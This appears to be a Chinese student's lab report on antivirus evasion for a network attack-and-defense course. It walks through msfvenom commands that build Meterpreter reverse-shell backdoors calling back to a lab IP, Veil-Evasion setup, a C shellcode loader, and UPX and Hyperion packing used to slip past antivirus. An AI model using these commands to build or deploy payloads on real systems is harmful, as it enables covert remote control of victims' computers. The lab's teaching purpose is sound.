2018-2019-2 20165302 《网络对抗技术》Exp3 免杀原理与实践

阅读量：5945 次

发布时间：2019-06-19

本文共 2867 字，大约阅读时间需要 9 分钟。

一，实验要求

(我是真的不知道为什么截图中都有学号和姓名信息了还要求改主机名。。。。。。而且实验要求里也没有明确说。做完之后听别人说的，肯定是不能重新截图了，要扣分就扣吧)

通过本部分内容的学习，认识到杀软局限性，提高在工作生活中对于恶意软件防范能力

二，实验内容

1.了解恶意软件检测机制和免杀技术的基本原理

正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，使用shellcode编程

3.通过组合应用各种技术实现恶意代码免杀

4.用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

三，实验步骤

`任务一正确使用免杀工具或技巧`

1.使用msfvenom生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.132 LPORT=5302 -f exe > msf5302.exe

将exe文件复制到windows中，打开电脑管家进行杀毒，msf5302.exe被识别出来

-使用virscan进行扫描

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 5302_java.jar 生成jar文件

将jar文件复制到windows下，使用virscan进行扫描

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 x> 20165302.php生成php文件

将php文件复制到windows中，使用virscan进行扫描
（6666，只能重新修改一下文件名）

wtf，不知道什么情况传不上去，行吧，就这样吧

2，使用veil-evasion生成后门程序

安装veil

git clone https://github.com/Veil-Framework/Veil

cd Veil/config/

./setup.sh

然后点一下，等一年，这是你没有体验过的全新版本

输入veil启用

use evasion

list

use 7

set LHOST 192.168.80.132

set LPORT 5302

generate生成文件

设置playload的名字

生成成功

然后按照文件路径找到并复制到windows中

刚一复制到windows中，电脑管家就提示拦截到木马

使用virscan进行扫描

利用shellcode编程生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=5302 -f c生成shellcode

利用shellcode编写一段代码，将shellcode复制进去
代码如下

unsigned char buf[] = "此处复制粘贴之前用msf生成的buf"int main(){    int (*func)() = (int(*)())buf;    func();}

i686-w64-mingw32-g++ 20165302.c -o 20165302.exe编译为可执行文件

将exe文件复制到windows里，使用virscan进行扫描

（然而我的电脑管家并没有检测出来，可能是它太low了）

使用压缩壳 upx 20165302.exe -o upxed.exe

使用virscan进行扫描，电脑管家还是没有发现。。。。。

使用加密壳

将upxed.exe拷贝到/usr/share/windows-binaries/hyperion/中

wine hyperion.exe -v upxed.exe upxed_Hyperion.exe

反弹连接

使用virscan扫描一下

`任务二：通过组合应用各种技术实现恶意代码免杀`

通过组合半手工制作shellcode，压缩壳，加密壳达到了免杀的目的

成功截图

`任务三：用另一电脑实测，在杀软开启的情况下，可运行并回连成功`

实验环境，win10主机，电脑管家版本为

实验结果

实验体会

这次实验总体来说不是很难，但步骤比较繁琐，需要一定的耐心，通过这次实验我更好的了解了免杀的原理，掌握了免杀的实现方法，在这次实验中没出什么大问题，好在只是一些小问题，都自己解决了，我个人认为本次实验的难点就是在veil的安装和使用上，可以说只要做好了这点，本次实验就没什么难点了，可能是我运气比较好，在安装veil的过程中没有出现像其他同学那样各种各样的问题，一次成功！！！好了，总结一下本次实验的收获，这次实验我学会了使用压缩壳和加密壳，学会了半自动注入shellcode的方法，了解了免杀的几种原理，学会了version和virus totals的使用，收获还是蛮多的，虽然过程很累，但是能自己独立完成实验还是很开心的 ^-^ ^-^